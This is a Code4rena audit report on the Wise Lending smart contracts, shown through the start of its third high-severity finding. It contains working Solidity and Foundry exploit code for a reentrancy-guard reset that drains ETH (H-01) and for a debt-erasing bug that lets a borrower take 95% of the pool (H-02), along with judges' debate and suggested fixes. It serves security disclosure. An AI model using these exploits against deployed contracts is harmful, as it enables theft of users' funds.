Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Wise Lending smart contract system written in Solidity. The audit took place between February 21 — March 11, 2024.

Wardens

37 Wardens contributed reports to Wise Lending:

1. nonseodion
2. 0xStalin
3. Dup1337 (sorrynotsorry and deliriusz)
4. 0xCiphky
5. serial-coder
6. NentoR
7. Draiakoo
8. 00xSEV
9. t0x1c
10. SBSecurity (Slavcheww and Blckhv)
11. Matin
12. JCN
13. aariiif
14. Myd
15. WoolCentaur
16. Jorgect
17. AM (StefanAndrei and 0xmatei)
18. 0x11singh99
19. DanielArmstrong
20. cheatc0d3
21. 0xAnah
22. dharma09
23. K42
24. 0xepley
25. fouzantanveer
26. kaveyjoe
27. foxb868
28. josephdara
29. unix515
30. Mrxstrange
31. shealtielanz
32. Rhaydden
33. 0xhacksmithh
34. albahaca

This audit was judged by Trust.

Final report assembled by thebrittfactor.

Summary

The C4 analysis yielded an aggregated total of 22 unique vulnerabilities. Of these vulnerabilities, 5 received a risk rating in the category of HIGH severity and 17 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 7 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 6 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Wise Lending repository, and is composed of 44 smart contracts written in the Solidity programming language and includes 6326 lines of Solidity code.

In addition to the known issues identified by the project team, a Code4rena bot race was conducted at the start of the audit. The winning bot, znBotty from warden Rolezn, generated the Automated Findings report and all findings therein were classified as out of scope.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

• Malicious Input Handling
• Escalation of privileges
• Arithmetic
• Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (5)

[H-01] Exploitation of the receive Function to Steal Funds

Submitted by 0xCiphky, also found by t0x1c

The WiseLending contract incorporates a reentrancy guard through its syncPool modifier, specifically within the _syncPoolBeforeCodeExecution function. This guard is meant to prevent reentrancy during external calls, such as in the withdrawExactAmountETH function, which processes ETH withdrawals for users.

However, there is currently a way to reset this guard, allowing for potential reentrant attacks during external calls. The WiseLending contract includes a receive function designed to automatically redirect all ETH sent directly to it (apart from transactions from the WETH address) to a specified master address.

To forward the ETH the _sendValue function is used, here the sendingProgress variable (which is used for reentrancy checks) is set to true to denote the start of the transfer process and subsequently reset to false following the completion of the call.

    function _sendValue(
        address _recipient,
        uint256 _amount
    )
        internal
    {
        if (address(this).balance < _amount) {
            revert AmountTooSmall();
        }

        sendingProgress = true;

        (
            bool success
            ,
        ) = payable(_recipient).call{
            value: _amount
        }("");

        sendingProgress = false;

        if (success == false) {
            revert SendValueFailed();
        }
    }

As a result, an attacker could bypass an active reentrancy guard by initiating the receive function, effectively resetting the sendingProgress variable. This action clears the way for an attacker to re-enter any function within the contract, even those protected by the reentrancy guard.

Having bypassed the reentrancy protection, let’s see how this vulnerability could be leveraged to steal funds from the contract.

The withdrawExactAmountETH function allows users to withdraw their deposited shares from the protocol and receive ETH, this function also contains a healthStateCheck to ensure post withdrawal a users position is still in a healthy state. Note that this health check is done after the external call that pays out the user ETH, this will be important later on.

The protocol also implements a paybackBadDebtForToken function that allows users to pay off any other users bad debt and receive a 5% incentive for doing so.

To understand how this can be exploited, consider the following example:

• User A deposits 1 ETH into the protocol.
• User A borrows 0.5 ETH.

• User A calls withdrawExactAmountETH to withdraw 1 ETH.

  • User A reenters the contract through the external call.

    • User A resets the reentrancy guard with a direct transfer of 0.001 ETH to the WiseLending contract.
    • Next, User A calls the paybackBadDebtForToken function to settle their own 0.5 ETH loan, which, due to the withdrawal, is now classified as bad debt. This not only clears the debt but also secures 0.5 ETH plus an additional incentive for User A.
  • With the bad debt cleared, the healthStateCheck within the withdrawal function is successfully passed.
• Consequently, User A manages to retrieve their initial 1 ETH deposit and gain an additional 0.5 ETH (plus the incentive for paying off bad debt).

Proof Of Concept

Testing is done in the WiseLendingShutdownTest file, with ContractA imported prior to executing tests:

// import ContractA
import "./ContractA.sol";
// import MockErc20
import "./MockContracts/MockErc20.sol";

contract WiseLendingShutdownTest is Test {
    ...
    ContractA public contractA;

    function _deployNewWiseLending(bool _mainnetFork) internal {
        ...
        contractA = new ContractA(address(FEE_MANAGER_INSTANCE), payable(address(LENDING_INSTANCE)));
        ...
    }

    function testExploitReentrancy() public {
        uint256 depositValue = 10 ether;
        uint256 borrowAmount = 2 ether;
        vm.deal(address(contractA), 2 ether);

        ORACLE_HUB_INSTANCE.setHeartBeat(WETH_ADDRESS, 100 days);

        POSITION_NFTS_INSTANCE.mintPosition();

        uint256 nftId = POSITION_NFTS_INSTANCE.tokenOfOwnerByIndex(address(this), 0);

        LENDING_INSTANCE.depositExactAmountETH{value: depositValue}(nftId);
        LENDING_INSTANCE.borrowExactAmountETH(nftId, borrowAmount);

        vm.prank(address(LENDING_INSTANCE));
        MockErc20(WETH_ADDRESS).transfer(address(FEE_MANAGER_INSTANCE), 1 ether);

        // check contractA balance
        uint ethBalanceStart = address(contractA).balance;
        uint wethBalanceStart = MockErc20(WETH_ADDRESS).balanceOf(address(contractA));
        //total
        uint totalBalanceStart = ethBalanceStart + wethBalanceStart;
        console.log("totalBalanceStart", totalBalanceStart);

        // deposit using contractA
        vm.startPrank(address(contractA));
        LENDING_INSTANCE.depositExactAmountETHMint{value: 2 ether}();
        vm.stopPrank();

       FEE_MANAGER_INSTANCE._increaseFeeTokens(WETH_ADDRESS, 1 ether);
        
        // withdraw weth using contractA
        vm.startPrank(address(contractA));
        LENDING_INSTANCE.withdrawExactAmount(2, WETH_ADDRESS, 1 ether);
        vm.stopPrank();

        // approve feemanager for 1 weth from contractA
        vm.startPrank(address(contractA));
        MockErc20(WETH_ADDRESS).approve(address(FEE_MANAGER_INSTANCE), 1 ether);
        vm.stopPrank();

        // borrow using contractA
        vm.startPrank(address(contractA));
        LENDING_INSTANCE.borrowExactAmount(2,  WETH_ADDRESS, 0.5 ether);
        vm.stopPrank();

        // Payback amount
        //499537556593483218

        // withdraw using contractA
        vm.startPrank(address(contractA));
        LENDING_INSTANCE.withdrawExactAmountETH(2, 0.99 ether);
        vm.stopPrank();

        // check contractA balance
        uint ethBalanceAfter = address(contractA).balance;
        uint wethBalanceAfter = MockErc20(WETH_ADDRESS).balanceOf(address(contractA));
        //total
        uint totalBalanceAfter = ethBalanceAfter + wethBalanceAfter;
        console.log("totalBalanceAfter", totalBalanceAfter);
        uint diff = totalBalanceAfter - totalBalanceStart;
        assertEq(diff > 5e17, true, "ContractA profit greater than 0.5 eth");
    }

// SPDX-License-Identifier: -- WISE --

pragma solidity =0.8.24;

// import lending and fees contracts
import "./WiseLending.sol";
import "./FeeManager/FeeManager.sol";

contract ContractA {
    address public feesContract;
    address payable public lendingContract;

    address constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    constructor(address _feesContract, address payable _lendingContract) payable {
        feesContract = _feesContract;
        lendingContract = _lendingContract;
    }

    fallback() external payable {
        if (msg.sender == lendingContract) {
            // send lending contract 0.01 eth to reset reentrancy flag
            (bool sent, bytes memory data) = lendingContract.call{value: 0.01 ether}("");
            //paybackBadDebtForToken
            FeeManager(feesContract).paybackBadDebtForToken(2, WETH_ADDRESS, WETH_ADDRESS, 499537556593483218);
        }
    }
}

Impact

This vulnerability allows an attacker to illicitly withdraw funds from the contract through the outlined method. Additionally, the exploit could also work using the contract’s liquidation process instead.

Tools Used

Foundry

Recommendation

Edit the _sendValue function to include a reentrancy check. This ensures that the reentrancy guard is first checked, preventing attackers from exploiting this function as a reentry point. This will also not disrupt transfers from the WETH address as those don’t go through the _sendValue function.

    function _sendValue(
        address _recipient,
        uint256 _amount
    )
        internal
    {
        if (address(this).balance < _amount) {
            revert AmountTooSmall();
        }

	_checkReentrancy(); //add here

        sendingProgress = true;

        (
            bool success
            ,
        ) = payable(_recipient).call{
            value: _amount
        }("");

        sendingProgress = false;

        if (success == false) {
            revert SendValueFailed();
        }
    }

vonMangoldt (Wise Lending) commented via duplicate issue #40:

Good catch but we don’t consider it a high since no userFunds relevant state variables are changed after sending the value. And since such a call would encapsulate the borrowrate check at the end, everything works as planned and it cannot be used to block funds or extract value or drain funds or anything. Still good to add a reentrancy check to receive function just in case.

UPDATE EDIT: Ok, you also submitted a stealing of funds POC we will take a look.

vonMangoldt (Wise Lending) commented via duplicate issue #40:

Seems like this doesn’t endanger users. A user is able to borrow beyond his allowed limit. It’s basically just a flashloan without permission?

Wise Lending commented:

Mitigated here.

[H-02] User can erase their position debt for free

Submitted by Dup1337

https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/FeeManager/FeeManager.sol#L816-L866

https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/MainHelper.sol#L667-L727

Vulnerability details

When the pool token stops being used in the position, the _removePositionData function is called. However, it assumes that poolToken that is passed as a parameter always exists in user token array, which is not always the case. In the case of function FeeManager.paybackBadDebtNoReward(), which indirectly calls _removePositionData, insufficient validation doesn’t check if repay token is in user array, which results in zeroing out information about user debt.

Impact

Free elimination of user debt.

Proof of Concept

First, let’s see how MainHelper._removePositionData() works:

    function _removePositionData(
        uint256 _nftId,
        address _poolToken,
        function(uint256) view returns (uint256) _getPositionTokenLength,
        function(uint256, uint256) view returns (address) _getPositionTokenByIndex,
        function(uint256, address) internal _deleteLastPositionData,
        bool isLending
    )
        private
    {
        uint256 length = _getPositionTokenLength(
            _nftId
        );

        if (length == 1) {
            _deleteLastPositionData(
                _nftId,
                _poolToken
            );

            return;
        }

        uint8 i;
        uint256 endPosition = length - 1;

        while (i < length) {

            if (i == endPosition) {
                _deleteLastPositionData(
                    _nftId,
                    _poolToken
                );

                break;
            }

            if (_getPositionTokenByIndex(_nftId, i) != _poolToken) {
                unchecked {
                    ++i;
                }
                continue;
            }

            address poolToken = _getPositionTokenByIndex(
                _nftId,
                endPosition
            );

            isLending == true
                ? positionLendTokenData[_nftId][i] = poolToken
                : positionBorrowTokenData[_nftId][i] = poolToken;

            _deleteLastPositionData(
                _nftId,
                _poolToken
            );

            break;
        }
    }

So, _poolToken sent in parameter is not checked if:

1. The position consists of only one token. Then the token is removed, no matter if it’s _poolToken or not.
2. No token was found during the position token iteration. In which case, the last token is removed, no matter if it’s _poolToken or not.

This function is called in MainHelper._corePayback(), which in turn is called in FeeManager.paybackBadDebtNoReward() => WiseLending.corePaybackFeeManager() => WiseLending._handlePayback(). The important factor is that paybackBadDebtNoReward() doesn’t check if position utilizes _paybackToken passed by the caller and allows it to pass any token. The only prerequisite is that badDebtPosition[_nftId] has to be bigger than 0:

    function paybackBadDebtNoReward(
        uint256 _nftId,
        address _paybackToken,
        uint256 _shares
    )
        external
        returns (uint256 paybackAmount)
    {
        updatePositionCurrentBadDebt(
            _nftId
        );

        if (badDebtPosition[_nftId] == 0) {
            return 0;
        }

        if (WISE_LENDING.getTotalDepositShares(_paybackToken) == 0) {
            revert PoolNotActive();
        }

        paybackAmount = WISE_LENDING.paybackAmount(
            _paybackToken,
            _shares
        );

        WISE_LENDING.corePaybackFeeManager(
            _paybackToken,
            _nftId,
            paybackAmount,
            _shares
        );

        _updateUserBadDebt(
            _nftId
        );
		// [...]

With these pieces of information, we can form following attack path:

1. Prepare a big position that will have be destined to have positive badDebt. For sake of the argument, let’s assume it’s $1M worth of ETH.
2. Prepare a very small position that will not be incentivized to be liquidated by liquidators, just to achieve non-zero badDebt. This can be done, for example, before significant price update transaction from Chainlink. Then take $1M worth of ETH flashloan and put this as collateral to position, borrowing as much as possible.
3. Call FeeManager.paybackBadDebtNoReward() on the position with desired position nftId, USDC token address and 0 shares as input params.
4. Because there is non-zero bad debt, the check will pass, and the logic will finally reach MainHelper._corePayback(). Because repay is 0 shares, the diminishing position size in USDC token will not underflow and position token will be tried to be removed:

    function _corePayback(
        uint256 _nftId,
        address _poolToken,
        uint256 _amount,
        uint256 _shares
    )
        internal
    {
        _updatePoolStorage(
            _poolToken,
            _amount,
            _shares,
            _increaseTotalPool,
            _decreasePseudoTotalBorrowAmount,
            _decreaseTotalBorrowShares
        );

        _decreasePositionMappingValue(
            userBorrowShares,
            _nftId,
            _poolToken,
            _shares
        );

        if (userBorrowShares[_nftId][_poolToken] > 0) {
            return;
        }

        _removePositionData({
            _nftId: _nftId,
            _poolToken: _poolToken,
            _getPositionTokenLength: getPositionBorrowTokenLength,
            _getPositionTokenByIndex: getPositionBorrowTokenByIndex,
            _deleteLastPositionData: _deleteLastPositionBorrowData,
            isLending: false
        });

5. Inside _removePositionData, because position length is 1, no checks to confirm if the token address matches will be performed:

        uint256 length = _getPositionTokenLength(
            _nftId
        );

        if (length == 1) {
            _deleteLastPositionData(
                _nftId,
                _poolToken
            );

            return;
        }

6. This means that all information about user borrows are deleted. Meaning, that now system thinks the user has $1M collateral, and no debt. Which means that the attacker just stole the entire borrowed amount.

Recommended Mitigation Steps

Add verification if the token that is passed to _removePositionData() exists in user tokens. If not, revert the transaction.

Assessed type

Invalid Validation

vonMangoldt (Wise Lending) commented:

Double checking line of reasoning fails when user deposits large amount and then borrows.

1. Prepare big position that will have be destined to have positive badDebt. For sake of the argument, let’s assume it’s $1M worth of ETH.
2. Prepare very small position that will not be incentivized to be liquidated by liquidators, just to achieve non-zero badDebt. This can be done for example before significant price update transaction from Chainlink. Then take $1M worth of ETH flashloan and put this as collateral to position, borrowing as much as possible.
3. Call FeeManager.paybackBadDebtNoReward() on the position with desired position nftId, USDC token address and 0 shares as input params.
4. Because there is non-zero bad debt, the check will pass, and and the logic will finally reach MainHelper._corePayback(). Because repay is 0 shares, diminishing position size in USDC token will not underflow, and position token will be tried to be removed:

Comment:

1. Ok say big position has nftId = 1.
2. Ok say small position has nftId = 2.

nftId 2 now takes more collateral and borrows max: then calls paybackBadDebtNoReward with nftId 2.

But since collateral has been deposited and borrowed within non liquidation range (healthstate check active remember),

This line here:

updatePositionCurrentBadDebt(
            _nftId
        );

in the beginning will set badDebtPosition[_nft] to 0 meaning it will exit after this line:

if (badDebtPosition[_nftId] == 0) {
    return 0;
 }

and no harm done.

deliriusz (warden) commented:

@Trust - I have provided the coded PoC below. It shows that user is able to steal whole protocol funds, due to wrong algorithm in _removePositionData(). I managed to not use very big position and a single token, which makes this issue even easier to perform.

PoC provided below does the following:

1. Setup initial state - 2 lenders depositing 100 ETH each, and 1 borrower whose position will have bad debt. For the purpose of this test I chose market crash condition; however, using a small position that will give no incentives to liquidate it will also work.
2. Position is underwater and is liquidated in order to increase bad debt for user position. This is a prerequisite for being able to trigger bad debt repayment.
3. When bad debt repayment is triggered for a token that user didn’t use, _removePositionData() removes last token in user borrow tokens. In this case that means that the user doesn’t have any tokens in his debt tokens listed.
4. User borrows 95% of ALL ETH that the protocol holds. It’s possible, because when performing health check at the end of borrow, all user borrow tokens are iterated through - and remember that we just removed the token.
5. At the end I verified that the user really got the funds, which proves that the issue is real.

// SPDX-License-Identifier: -- WISE --

pragma solidity =0.8.24;

import "./WiseLendingBaseDeployment.t.sol";

contract DebtClearTest is BaseDeploymentTest {
    address borrower = address(uint160(uint(keccak256("alice"))));
    address lender = address(uint160(uint(keccak256("bob"))));
    address lender2 = address(uint160(uint(keccak256("bob2"))));

    uint256 depositAmountETH = 100 ether; // 10 ether
    uint256 depositAmountToken = 10 ether; // 10 ether
    uint256 borrowAmount = 5e18; // 5 ether

    uint256 nftIdLiquidator; // nftId of lender
    uint256 nftIdLiquidatee; // nftId of borrower

    uint256 debtShares;

    function _setupIndividualTest() internal override {
        _deployNewWiseLending(false);

        // set token value for simple calculations
        MOCK_CHAINLINK_2.setValue(1 ether); // 1 token == 1 ETH
        assertEq(MOCK_CHAINLINK_2.latestAnswer(), MOCK_CHAINLINK_ETH_ETH.latestAnswer());
        vm.stopPrank();
        
        // fund lender and borrower
        vm.deal(lender, depositAmountETH);
        vm.deal(lender2, depositAmountETH);
        deal(address(MOCK_WETH), lender, depositAmountETH);
        deal(address(MOCK_ERC20_2), borrower, depositAmountToken * 2);
        deal(address(MOCK_ERC20_1), lender, depositAmountToken * 2);
    }

    function testRemovingToken() public {
        IERC20 WETH = IERC20(LENDING_INSTANCE.WETH_ADDRESS());
                // lender supplies ETH
        vm.startPrank(lender);

        nftIdLiquidator = POSITION_NFTS_INSTANCE.mintPosition();

        // deposit 100 ether into the pool
        LENDING_INSTANCE.depositExactAmountETH{value: depositAmountETH}(nftIdLiquidator);

        vm.stopPrank();

        // prank second provider to make sure that the borrower is able to
        // steal everyone's funds later
        vm.startPrank(lender2);

        uint nftIdfundsProvider = POSITION_NFTS_INSTANCE.mintPosition();

        // deposit 100 ether into the pool
        LENDING_INSTANCE.depositExactAmountETH{value: depositAmountETH}(nftIdfundsProvider);

        vm.stopPrank();

        // borrower supplies collateral token and borrows ETH
        vm.startPrank(borrower);

        MOCK_ERC20_2.approve(address(LENDING_INSTANCE), depositAmountToken * 2);

        nftIdLiquidatee = POSITION_NFTS_INSTANCE.mintPosition();
        
        vm.warp(
            block.timestamp + 10 days
        );

        LENDING_INSTANCE.depositExactAmount( // supply collateral
            nftIdLiquidatee, 
            address(MOCK_ERC20_2), 
            10
        );

        debtShares = LENDING_INSTANCE.borrowExactAmountETH(nftIdLiquidatee, borrowAmount); // borrow ETH

        vm.stopPrank();

        // shortfall event/crash occurs. This is just one of the possibilities of achieving bad debt
        // second is maintaining small position that gives no incentive to liquidate it.
        vm.prank(MOCK_DEPLOYER);
        MOCK_CHAINLINK_2.setValue(0.3 ether);

        // borrower gets partially liquidated
        vm.startPrank(lender);

        MOCK_WETH.approve(address(LENDING_INSTANCE), depositAmountETH);

        LENDING_INSTANCE.liquidatePartiallyFromTokens(
            nftIdLiquidatee,
            nftIdLiquidator, 
            address(MOCK_WETH),
            address(MOCK_ERC20_2),
            debtShares * 2e16 / 1e18 + 1 
        );

        vm.stopPrank();

        // global and user bad debt is increased
        uint256 totalBadDebt = FEE_MANAGER_INSTANCE.totalBadDebtETH();
        uint256 userBadDebt = FEE_MANAGER_INSTANCE.badDebtPosition(nftIdLiquidatee);

        assertGt(totalBadDebt, 0); 
        assertGt(userBadDebt, 0);
        assertEq(totalBadDebt, userBadDebt); // user bad debt and global bad debt are the same

        vm.startPrank(lender);

        MOCK_ERC20_1.approve(address(LENDING_INSTANCE), type(uint256).max);
        MOCK_ERC20_1.approve(address(FEE_MANAGER_INSTANCE), type(uint256).max);
        MOCK_WETH.approve(address(FEE_MANAGER_INSTANCE), type(uint256).max);
        
        // check how much tokens the position that will be liquidated has
        uint256 lb = LENDING_INSTANCE.getPositionBorrowTokenLength(
            nftIdLiquidatee
        );

        assertEq(lb, 1);

        uint256 ethValueBefore = SECURITY_INSTANCE.getETHBorrow(
            nftIdLiquidatee,
            address(MOCK_ERC20_2)
        );

        console.log("ethBefore ", ethValueBefore);

        // **IMPORTANT** this is the core of the issue
        // When bad debt occurs, there are 2 critical checks missing:
        // 1. that the amount to repay is bigger than 0
        // 2. that the token to repay bad debt has the bad debt for user
        // This allows to remove any token from the list of user borrow tokens,
        // because of how finding token to remove algorithm is implemented:
        // it iterates over all the tokens and if it doesn't find matching one
        // until it reaches last, it wrongly assumes that the last token is the
        // one that should be removed.
        // And not checking for amount of repayment allows to skip Solidity underflow 
        // checks on diminishing user bad debt.
        FEE_MANAGER_INSTANCE.paybackBadDebtNoReward(
            nftIdLiquidatee, 
            address(MOCK_ERC20_1), // user doesn't have debt in this token
            0
        );

        uint256 ethValueAfter = SECURITY_INSTANCE.getETHBorrow(
            nftIdLiquidatee,
            address(MOCK_ERC20_2)
        );
        uint256 ethWethValueAfter = SECURITY_INSTANCE.getETHBorrow(
            nftIdLiquidatee,
            address(WETH)
        );
        console.log("ethAfter ", ethValueAfter);

        // assert that the paybackBadDebtNoReward removed token that it shouldn't
        uint256 la = LENDING_INSTANCE.getPositionBorrowTokenLength(
            nftIdLiquidatee
        );
        assertEq(la, 0);

        vm.stopPrank();
        
        uint lendingWethBalance = WETH.balanceOf(address(LENDING_INSTANCE));

        console.log("lb ", lendingWethBalance);
        console.log("bb ", borrower.balance);

        vm.startPrank(borrower);

        // borrow 95% of ALL ETH that the protocol possesses
        // this works, because when calculating health check of a position
        // it iterates through `getPositionBorrowTokenLength()` - and we
        // were able to remove it.
        debtShares = LENDING_INSTANCE.borrowExactAmountETH(nftIdLiquidatee, WETH.balanceOf(address(LENDING_INSTANCE)) * 95 / 100); // borrow ETH

        console.log("lb ", WETH.balanceOf(address(LENDING_INSTANCE)));
        console.log("ba ", borrower.balance);

        // make sure that borrow tokens were not increased
        uint256 la2 = LENDING_INSTANCE.getPositionBorrowTokenLength(
            nftIdLiquidatee
        );
        assertEq(la2, 0);

        // verify that ~95% were taken from the pool and borrower received them
        assertLt(WETH.balanceOf(address(LENDING_INSTANCE)), lendingWethBalance * 6 / 100);
        assertGt(borrower.balance, lendingWethBalance * 94 / 100);

        uint256 ethValueAfter2 = SECURITY_INSTANCE.getETHBorrow(
            nftIdLiquidatee,
            address(MOCK_ERC20_2)
        );
        console.log("ethAfter2 ", ethValueAfter2);
        vm.stopPrank();

        // borrowing doesn't increase user borrow
        assertEq(ethValueAfter, ethValueAfter2);
    }
}

At the end of the test, it’s verified that user is in possession of ~95% of the ETH that was initially deposited to the pool.

Trust (judge) commented:

Confirmed the test passes.

[PASS] testRemovingToken() (gas: 2242360)
Logs:
  ORACLE_HUB_INSTANCE DEPLOYED AT ADDRESS 0x6D93d20285c95BbfA3555c00f5206CDc1D78a239
  POSITION_NFTS_INSTANCE DEPLOYED AT ADDRESS 0x1b5a405a4B1852aA6F7F65628562Ab9af7e2e2e9
  LATEST RESPONSE 1000000000000000000
  ethBefore  300000000000000000
  ethAfter  300000000000000000
  lb  195100000000000000001
  bb  5000000000000000000
  lb  9755000000000000001
  ba  190345000000000000000
  ethAfter2  300000000000000000

The likelihood/impact are in line with high severity. A POC was not initially provided, but the step by step given is deemed sufficient.

vm06007 (Wise Lending) commented:

@Foon256 or @vonMangoldt - can check this again I think. I’ll check what kind of code change we need to add in order to prevent this scenario.

Foon256 (Wise Lending) commented:

The POC is correct but different from the previous presented attack, which was not possible as @vonMangoldt has shown. I don’t know about the rules in this case, because the POC has been submitted long after the deadline and is a different attack than submitted before.

Trust (judge) commented:

The warden’s identification of the root cause is correct and the severity is correct. If there were different submissions this would have gotten a 50%, but for solo finds there is no mechanism for partial scoring.

Alex the Entreprenerd (Appellate Court lead judge) commented:

Summary of the issue

Due to an incorrect logic, it is possible for a user to have all of their debt forgiven by repaying another bad debt position with a non-existing token.

Alex the Entreprenerd’s (Appellate Court lead judge) input

Facts:

1. paybackBadDebtNoReward can be called with non existent paybacktoken.
2. First poolToken bad debt position will be deleted by default.
3. Remove position in the original submission is not fully clear, but is implicitly mentioning using _deleteLastPositionBorrowDatafor _removePositionData.
4. This will forgive the bad debt and break the system.
5. Was disputed due to this.

This asserts that the attack cannot be done atomically, that’s true.

6. The original submission explains that, due to generating bad debt.

I believe that the finding has shown a way for bad debt to be forgiven, and that the race condition around “proper” vs “malicious” liquidators is not a major decision factor.

I would like to add that the original submission is passable but should have done a better job at:

• Using only necessary snippets, with comments and tags.
• Explain each logical step more simply (A calls B, B is pointer to C, C is doing X).

I believe the root cause and the attack was shown in the original submission and as such believe the finding to be valid and high severity.

hickuphh3’s (judge 2) input

This issue should’ve been accompanied with a POC, then there would be no disambiguity over its validity and severity.

I agree with the judge’s assessment. The warden correctly identified the root cause of lacking input validation of _poolToken, which allows _removePositionData to incorrectly remove borrowed positions, thus erasing that user’s debt.

The severity of this alone is high, as it effectively allows the user to forgo repaying his debt.

I disagree with the statement that the POC is different from the previous presented attack. It is roughly the same as the presented step-by-step walkthrough, with amplified impact: the user is able to borrow more tokens for free subsequently, without having to repay.

Disregarding the POC that was submitted after the audit, IMO, the line-by-line walkthrough sufficiently proved the issue.

LSDan’s (judge 3) Input

I think this one should be held as invalid due to this ruling in Decisions from the inaugural Supreme Court session.

As far as I can see, the swaying information was the POC added after the submission deadline. It doesn’t matter if the issue was technically correct. The quality was not high enough to lead the judge to mark it as satisfactory without the additional information. @Alex The Entreprenerd thoughts?

Alex The Entreprenerd (Appellate Court lead judge) commented: I don’t think the POC added any additional info that was not present in the original submission. Invalid token causes default pop of real token. That was identified in the original submission.

I think the dispute by the sponsor was incorrect as asserting that this cannot be done atomically doesn’t justify the bug of mismatch address causing defaults being forgiven. I think the POC added context over content.

LSDan (judge 3) commented: Apologies guys… didn’t read it carefully enough on the first pass. I’ve re-evaluated and while I don’t like the quality of the original submission and would probably have invalidated it myself, I’m willing to align with the two of you and leave it as high risk. The attack is valid and the nuance is in interpreting rules, not validity.

Additional input from the Sponsor (Requested by the Lead Judge) via discord

Alex The Entreprenerd (Appellate Court lead judge) commented: For issue 215, I’d like to ask you what you think was invalid about the first submission and what’s specifically makes the original submission different from the POC sent after? We understand that the quality of the original submission is sub optimal.

Foon (Wise Lending): Referenced the original comment here.

Alex The Entreprenerd (Appellate Court lead judge) commented: This makes sense as there is no way to attack the protocol in the same tx. However, if the price were to fall, then wouldn’t the attacker be able to apply the attack mentioned in the original submission?

hodldoor (Wise Lending) commented: They will be liquidated beforehand. That why the submittor mentioned it is necessary to create a position which is small hence no incentivize to liquidate. Again, the way described by submittor does not work as pointed out in github and here again.

Alex The Entreprenerd (Appellate Court lead judge) commented: My understanding of the issue is that by specifying a non-existing token for liquidation, the first token is popped without paying for the position debt. Am I missing something about this?

hodldoor (Wise Lending) commented: Not for liquidation.
For payingback edit: paybackBadDebtNoReward only works for positions with bad debt, but bad debt usually accrues with debt and no collateral. Only time it doesn’t is if collateral is so small gas is more expensive than to liquidate beforehand while price from collateral is falling.

Foon (Wise Lending) commented: For payingback bad debt positions with paybackBadDebtNoReward(), we added this feature to be able to remove bad debt from the protocol. User can do it and get a little incentive with paybackBadDebtForToken() or a generous donor. The team can pay it back for free with paybackBadDebtNoReward(). paybackBadDebtForToken() is only possible if there is some collateral left in the bad debt position nft.

hodldoor (Wise Lending) commented: the for free part is technically not needed anymore anyway since we opened paying back for everyone

Alex The Entreprenerd (Appellate Court lead judge) commented: Ok. What do you think changed from the original submission and the POC that makes the finding different?

hodldoor (Wise Lending) commented: You mean the PoC after deadline which is, therefore, not counted? He just manipulates price so that no one has the chance to liquidate. If we look at the point from the poc provided AFTER deadline (invalid therefore anyway), then we conclude it’s an expectedValue question.

Attacker either donates liquidation incentives to liquidators and therefore, loses money (10%). Or gains money if he’s lucky that he doesn’t get liquidated within a 10-20% price difference and gets to call the other function first. So if you think as an attacker the probability that ETH drops 20% in one chainlink update (as far as I know, that has never happened before) or that during a 20% drawdown liquidators don’t get put into a block and this likelihood is bigger than 5% OVERALL then you would make money.

The chance of liquidators not picking up free money I would say is more in the low 0.001% estimation rather than 5%. So on average it’s highly minus -ev to do that.

Alex The Entreprenerd (Appellate Court lead judge) commented: Good points, thank you for your thoughts! What are your considerations about the fact that the attacker could just participate in the MEV race, allowing themselves to either front-run or be the first to self-liquidate as a means to enact the attack?

Shouldn’t the system ideally prevent this scenario from ever being possible?

The Wise Admiral (Wise Lending) commented: I’ll let my devs comment on your question about the attacker participating as a liquidator, but as far as the last part about “shouldn’t the system prevent”

I do not believe our position on this finding is that it’s objectively invalid. In fact, I’m sure we have already patched it for our live code which is already deployed on Arbitrum. Our position is that, per the C4 rules the submission is invalid for this specific competitive audit Feb 19th - March 11th and should not be listed in the findings or receive rewards, as it would be unfair to take away money from the other wardens who did submit findings in the time frame given. That being said, we are willing to accept it as a medium finding as a compromise.

hodldoor (Wise Lending) commented: The attack does not start with liquidating it is stopped by liquidating (including if the attacker liquidates), if it’s in time relating to liquidation incentive vs distance between collateral in debt in percentage. That’s why in a poc you need to manipulate price instantly a great deal without being liquidated (doesn’t matter by whom).

Deliberation

We believe that the dispute from the Sponsor comes from a misunderstanding of the submission which ultimately shows an incorrect logic when dealing with liquidations.

While the specifics of the submission leave a lot to be desired, the original submission did identify the root cause, this root cause can be weaponized in a myriad of ways, and ultimately gives the chance to an underwater borrower to get a long forgiven.

For this reason we believe the finding to be a High Severity finding.

Additional Context by the Lead Judge

We can all agree that a POC of higher quality should have been sent, that said our objective at C4 is to prevent real exploits, over a sufficiently long span of time, dismissing barely passable findings would cause more exploits, which will cause real damage to Projects and People using them as well as taint the reputation of C4 as a place where “No stone is left unturned”.

I would recommend the staff to look into ways to penalize these types of findings (for example, give a bonus to the judge as an extensive amount of time was necessary to prove this finding).

But I fail to see how dismissing this report due to a lack of POC would help the Sponsor and Code4rena over the long term.

Wise Lending commented:

Mitigated here.

[H-03] Incorrect bad debt accounting can lead to a state where the claimFeesBeneficial function is permanently bricked and no new incentives can be distributed, potentially locking pending and future protocol fees in the FeeManager contract

Submitted by JCN, also found by serial-coder, 0xStalin, and Draiakoo

Protocol fees can be collected from the WiseLending contract and sent to the FeeManager contract via the permissionless FeeManager::claimWiseFees function. During this call, incentives will only be distributed for incentive owners if totalBadDebtETH (global bad debt) is equal to 0:

FeeManager::claimWiseFees

663:        if (totalBadDebtETH == 0) { // @audit: incentives only distributed if there is no global bad debt
664:
665:            tokenAmount = _distributeIncentives( // @audit: distributes incentives for `incentive owners` via `gatheredIncentiveToken` mapping
666:                tokenAmount,
667:                _poolToken,
668:                underlyingTokenAddress
669:            );
670:        }

